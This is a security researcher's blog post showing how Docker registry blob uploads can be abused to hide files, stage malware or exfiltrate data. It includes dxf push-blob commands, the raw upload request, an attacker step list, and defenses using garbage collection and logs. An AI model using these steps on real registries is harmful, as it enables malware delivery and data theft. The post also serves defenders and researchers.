antiTree | posts and projects
posted on Oct 16, 2021

Take-aways

  • Container registries are simple services ripe for subtle abuse
  • They are trusted endpoints making them useful for exfil and post-exploitation
  • It’s easy to make a malicious file appear like a legitimate image layer

I’m beating up container environments in the context of supply chain threats over the last few months. If you’re working in the container or Kubernetes security area, you’re constantly running into the reality that many of the exploits that you know about, are not going to be the next major cyber event on the front page of news sites. This post will go through another attack path using container registries that although seemingly impactful to supply chain security, will likely not be a threat at scale.

This post goes into some of the details about the standard container registry API, some abuse points, and maybe some areas of attack the pentesters or future malware writers can expose. My honeypots are waiting.

Registries, You Had 2 Jobs

Whether attackers care about this or not, a container registry is simply a binary blob storage system fronted with an API. Think of it as doing 2 jobs: receiving a blob and receiving a manifest that points to the blob.

In fact, those two jobs are processed independently. Receive blob. Receive manifest. You can use one, or the other, or both. Honeybadger rules. Which arrives at the point that your registry doesn’t inherently know whether a blob matches to a manifest, or is orphaned. This means it’s possible to secretly use it as a blob store without your files ever showing up as a registry object. But why would you do this and how?

Arbitrary Blob Storage

The scenario is that you have access to the store and you can write to it. We have to ignore, for this post, that there are a lot more nefarious things you can do with write access to a registry of course (overwrite images, backdoor trusted images) but imagine that you’ve simply looked through Shodan, found an unprotected registry, and you say now what?

There’s a couple of value propositions for an attacker here:

  1. Arbitrary blob storage: You want a covert channel to deliver your awesome ransomware across organizations. Why not?
  2. Exfiltration channel: Maybe the environment you’ve exploited has a network egress policy preventing you from sending home all the juicy treasures you’ve compromised. You know what they will likely have added to their allow lists? Container registries. More often than not these container registries are public facing across multiple environments and there’s an exfil path that would upload it to these registries and download them using the stolen credentials at a different location.

Under the Hood

Here’s the inside of a Docker registry as it’s stored on the file system. This is the directory structure for an image named “test” from the “antitree" user:

/var/lib/registry/docker/registry/v2 # tree .
.
├── blobs
│   └── sha256
│       ├── 34
│       │   └── 345e3491a907bb7c6f1bdddcf4a94284b8b6ddd77eb7d93f09432b17b20f2bbe
│       │       └── data
│       ├── 57
│       │   └── 57671312ef6fdbecf340e5fed0fb0863350cd806c92b1fdd7978adbd02afc5c3
│       │       └── data
│       └── 5e
│           └── 5e9250ddb7d0fa6d13302c7c3e6a0aa40390e42424caed1e5289077ee4054709
│               └── data
└── repositories
    ├── antitree
    │   └── test
    │       ├── _layers
    │       │   └── sha256
    │       │       ├── 16cb5b5f227938fcdbacf0c4a84bcab7c8125c6ef299ae2ab64ef47e51c3e66b
    │       │       │   └── link
    │       │       ├── 3385f0afce2bb2425760ab3bfcbb58c257638de65cfdbc6d9e6f121e224dd4e2
    │       │       │   └── link
    │       │       ├── 48c924befc78d81162927cc4fecbb13e7d36ead6696a12da8cfaf1927e716bd3
    │       │       │   └── link
    │       │       ├── 79fa696dfaf8b03a230125368cc923d69256faf7a7fa0424d26460d12a69b217
    │       │       │   └── link
    │       │       ├── 8464c5956bbe86052636266c809545517fb2fbc0b945ecc9f0189d73ee1cb0c6
    │       │       │   └── link
    │       │       └── 9e0d395701d40ab697b2033516a146a1d805f3761d176af6ca50e11d7f38f411
    │       │           └── link
    │       ├── _manifests
    │       │   ├── revisions
    │       │   │   └── sha256
    │       │   │       └── 84873d993f3802e1da546aa048bd7d5478377b1d4da3a2c9b53fadc09c5dadcf
    │       │   │           └── link
    │       │   └── tags
    │       │       └── latest
    │       │           ├── current
    │       │           │   └── link
    │       │           └── index
    │       │               └── sha256
    │       │                   └── 84873d993f3802e1da546aa048bd7d5478377b1d4da3a2c9b53fadc09c5dadcf
    │       │                       └── link
    │       └── _uploads

Above we see blobs, which are (probably) Docker image layers – but they could be anything. Repositories which contain link references to the blobs. I should point out this is a registry configured to use the local file system but there are a variety of configuration options that use different storage drivers, but it mostly doesn’t matter to you.

Put another way, the registry verifies nothing automatically. Nothing! It doesn’t compare the image manifest that you just uploaded to the blobs you uploaded or do any kind of magic. Even though Docker image layers are gzip’d files, it doesn’t even verify the file format. If you tell the Docker Registry API to upload a binary, it does only that. Let’s do that. (We’ll talk about real-world constraints and garbage collection at the end.)

A little Python and voila

There are a lot of tools that are great for interacting with container registries and I have a talk about all the wonders of using Skopeo inside of Kubernetes. But for this case, we’re going to get lower level because we’re bending the rules a little bit. This is where DXF comes in:

Here’s a zero dependency way of uploading an arbitrary file to a registry you have access to. In this example I’m running a local registry such as docker run -p 5000:5000 registry:2

pip install python-dxf export DXF_HOST=127.0.0.1:5000

export DXF_INSECURE=1

dxf push-blob antitree/malware malware.exe

Here’s how you’ve changed the underlying filesystem by adding 2 new “layers”.

   │       │   └── sha256
   │       │       ├── 67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545
   │       │       │   └── link
   │       │       └── e6dba432b270d8036fe35f3441aefe3b1b16c9f205b801e31caa7a9b136df745
   │       │           └── link
   │       └── _uploads

Normal docker layer:


/var/lib/registry/docker/registry/v2/blobs/sha256/16 # file 16cb5b5f227938fcdbacf0c4a84bcab7c8125c6ef299ae2ab64ef47e51c3e66b/data
16cb5b5f227938fcdbacf0c4a84bcab7c8125c6ef299ae2ab64ef47e51c3e66b/data: gzip compressed data, original size modulo 2^32 11776

Malicious “layer”:

file 67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545/data
67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545/data: PDF document, version 1.4

To hammer home how simple the API is, here is what the HTTP request looks like. It’s the <name> of your user account, the <uuid> of the the “image” and a SHA256 <digest>.

PUT /v2/<name>/blobs/uploads/<uuid>?digest=<digest>
Content-Length: <size of your content>
Content-Type: application/octet-stream

<your binary blob>

Easy enough and as a reminder, it’s not an exploit, it’s a feature because it’s written down in the Docker Registry API documentation.

TTP or GTFO

Let’s wrap this all together so hopefully TeamTNT can up their game:

  1. Get access to a registry: Bonus points if the hostname is something legitimate looking like myregistry.google.com or reg.enterprisecompany.org.
  2. Find an existing image name that’s hosted: Look for admin/nginx, test/busybox, etc.
> dxf list-repos

    antitree/test

    test/test

    admin/nginx
  1. Push your blob on top of that image name: You’re not overwriting, you’re just adding to where the blob gets stored. \
> dxf push-blob admin/nginx malware.exe

Pay attention to that last step. In my example above I used antitree/malware as the name and it made the folder structure. But in our example, if you use admin/nginx, it won’t overwrite a layer, it will append the attacker blob to the list of layers available for that image. If someone was getting suspicious, it would be more difficult to try and figure out which layers of an image are malicious rather than a separate repo name.

You now have a nice legitimate looking dropper that resolves to hxxps://registry.totallylegitcompany.com.

Garbage Collection and Defenses

For those that need to think about defense here, besides preventing unauthorized access, you can prevent this type of attack by talking Garbage Collection. If you are running a Docker Registry as in registry:2 after version 2.4.0, there’s a quiet little command built into the registry called “garbage-collect” that will hunt for orphaned blobs that don’t match up to an image.

> registry garbage-collect /etc/docker/registry/config.yml

0 blobs marked, 5 blobs and 0 manifests eligible for deletion
blob eligible for deletion: sha256:57671312ef6fdbecf340e5fed0fb0863350cd806c92b1fdd7978adbd02afc5c3
INFO[0000] Deleting blob: /docker/registry/v2/blobs/sha256/57/57671312ef6fdbecf340e5fed0fb0863350cd806c92b1fdd7978adbd02afc5c3  go.version=go1.11.2

You can set this as a cron job or regularly run it against your storage backend with a separate container.

Of course Harbor does garbage collection for you automatically. In fact, many of the more modern registries compared to Docker Registry have a way you can configure automatically pruning orphaned blobs. Hopefully you’ve done that.

Harbor not only allows you to automate the cleanup here but it lets you set quotas per user so that in the case that credentials for a user are compromised, it’s not a DoS condition for the entire store when it consumes all the disk.

Logging

We are using the API legitimately here but it’s not impossible to see that this type of abuse was happening in the audit log. Instead of seeing a normal flow that consists of HEAD, GET, PUT of multi-part payloads, you’d see a lot more PUT commands without HEADs and GETs. Here is the output of legitimate pushes:

172.17.0.1 - - [08/Jul/2021:17:45:05 +0000] "PUT /v2/antitree/blob/blobs/uploads/5aca21e5-d19d-4bd1-ad4a-39f352cb477f?\_state=u9T6WNIsbYh01teo2UvI9rkY6-WQ9fqWX3dfNYgl9Ph7Ik5hbWUiOiJhbnRpdHJlZS9ibG9iIiwiVVVJRCI6IjVhY2EyMWU1LWQxOWQtNGJkMS1hZDRhLTM5ZjM1MmNiNDc3ZiIsIk9mZnNldCI6MCwiU3RhcnRlZEF0IjoiMjAyMS0wNy0wOFQxNzo0NTowNS40MDY5NzQ3NjhaIn0%3D&digest=sha256%3A67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 201 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:54:48 +0000] "GET /v2/\_catalog HTTP/1.1" 200 47 "" "python-requests/2.25.1"

time="2021-07-08T17:54:48.782773681Z" level=info msg="response completed" go.version=go1.11.2 http.request.host="127.0.0.1:5000" http.request.id=f9ef3513-5bc7-47e9-82c2-f508b72d556a http.request.method=GET http.request.remoteaddr="172.17.0.1:40408" http.request.uri="/v2/\_catalog" http.request.useragent="python-requests/2.25.1" http.response.contenttype="application/json; charset=utf-8" http.response.duration="907.573µs" http.response.status=200 http.response.written=47

time="2021-07-08T18:00:50.335527627Z" level=info msg="PurgeUploads starting: olderThan=2021-07-01 18:00:50.335437604 +0000 UTC m=-602219.962566780, actuallyDelete=true"

time="2021-07-08T18:00:50.33908599Z" level=info msg="Purge uploads finished. Num deleted=0, num errors=0"

time="2021-07-08T18:00:50.339135129Z" level=info msg="Starting upload purge in 24h0m0s" go.version=go1.11.2 instance.id=d47a6ade-a309-4043-a219-a2b73cf585ef service=registry version=v2.7.1

Here’s the output of illegitimate blob uploads with DXF:

172.17.0.1 - - [08/Jul/2021:17:42:56 +0000] "GET /v2/\_catalog HTTP/1.1" 200 31 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:44:01 +0000] "HEAD /v2/antitree/blob/blobs/sha256:e6dba432b270d8036fe35f3441aefe3b1b16c9f205b801e31caa7a9b136df745 HTTP/1.1" 404 157 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:44:01 +0000] "POST /v2/antitree/blob/blobs/uploads/ HTTP/1.1" 202 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:44:01 +0000] "PUT /v2/antitree/blob/blobs/uploads/7e3547a6-c2a7-4d26-b467-18ccc56fdefb?\_state=vdWG60sN6x5s41CY5XI8nsEsAd0WrtMRmkcCqwvUeZN7Ik5hbWUiOiJhbnRpdHJlZS9ibG9iIiwiVVVJRCI6IjdlMzU0N2E2LWMyYTctNGQyNi1iNDY3LTE4Y2NjNTZmZGVmYiIsIk9mZnNldCI6MCwiU3RhcnRlZEF0IjoiMjAyMS0wNy0wOFQxNzo0NDowMS4wNzM1NjU5NThaIn0%3D&digest=sha256%3Ae6dba432b270d8036fe35f3441aefe3b1b16c9f205b801e31caa7a9b136df745 HTTP/1.1" 201 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:45:05 +0000] "HEAD /v2/antitree/blob/blobs/sha256:67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 404 157 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:45:05 +0000] "POST /v2/antitree/blob/blobs/uploads/ HTTP/1.1" 202 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:45:05 +0000] "PUT /v2/antitree/blob/blobs/uploads/5aca21e5-d19d-4bd1-ad4a-39f352cb477f?\_state=u9T6WNIsbYh01teo2UvI9rkY6-WQ9fqWX3dfNYgl9Ph7Ik5hbWUiOiJhbnRpdHJlZS9ibG9iIiwiVVVJRCI6IjVhY2EyMWU1LWQxOWQtNGJkMS1hZDRhLTM5ZjM1MmNiNDc3ZiIsIk9mZnNldCI6MCwiU3RhcnRlZEF0IjoiMjAyMS0wNy0wOFQxNzo0NTowNS40MDY5NzQ3NjhaIn0%3D&digest=sha256%3A67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 201 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:17:54:48 +0000] "GET /v2/\_catalog HTTP/1.1" 200 47 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:02:09 +0000] "HEAD /v2/antitree/blob/blobs/sha256:67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 200 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:02:12 +0000] "HEAD /v2/antitree/blob/blobs/sha256:67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 200 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:02:33 +0000] "GET /v2/ HTTP/1.1" 200 2 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:02:40 +0000] "GET /v2/ HTTP/1.1" 200 2 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:03:05 +0000] "GET /v2/antitree/blob/tags/list HTTP/1.1" 404 121 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:12:42 +0000] "HEAD /v2/test/test/blobs/sha256:67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 404 157 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:12:42 +0000] "POST /v2/test/test/blobs/uploads/ HTTP/1.1" 202 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:12:42 +0000] "PUT /v2/test/test/blobs/uploads/d491399f-9ba5-427f-897b-db51b404da91?\_state=hLh0NsD9642dDfWzghR0aMwn6jGCaJZngQ-v_CKGtc97Ik5hbWUiOiJ0ZXN0L3Rlc3QiLCJVVUlEIjoiZDQ5MTM5OWYtOWJhNS00MjdmLTg5N2ItZGI1MWI0MDRkYTkxIiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDIxLTA3LTA4VDE4OjEyOjQyLjIxNjA1NjY2N1oifQ%3D%3D&digest=sha256%3A67db58b7f954349859a8747f4f28cb75471f59d76fc46f08a122bbac5ad09545 HTTP/1.1" 201 0 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:17:28 +0000] "GET /v2/antitree/blob/tags/list HTTP/1.1" 404 121 "" "python-requests/2.25.1"

172.17.0.1 - - [08/Jul/2021:18:17:32 +0000] "GET /v2/\_catalog HTTP/1.1" 200 47 "" "python-requests/2.25.1"

Conclusion

There are a few organizations I know of that are now running container registry honeypots (whether they admit to it or not). And unofficially I’ve only heard supporting evidence that no one is abusing them in any meaningful way. As I said in the begining, this is either purely academic, or will help out maybe 3 pentesters this year. FWIW, I still believe it’s useful as an exfil path and if someone uses it for that, I’d be delighted to know.

I’m going to continue running my own honeypots with the hopes that some day, someone out there will happen upon my environment, leave a binary blob uploaded to my un-authenticated Docker registry that’s a text file that says “Hi Antitree, I read your blog post from 2021.”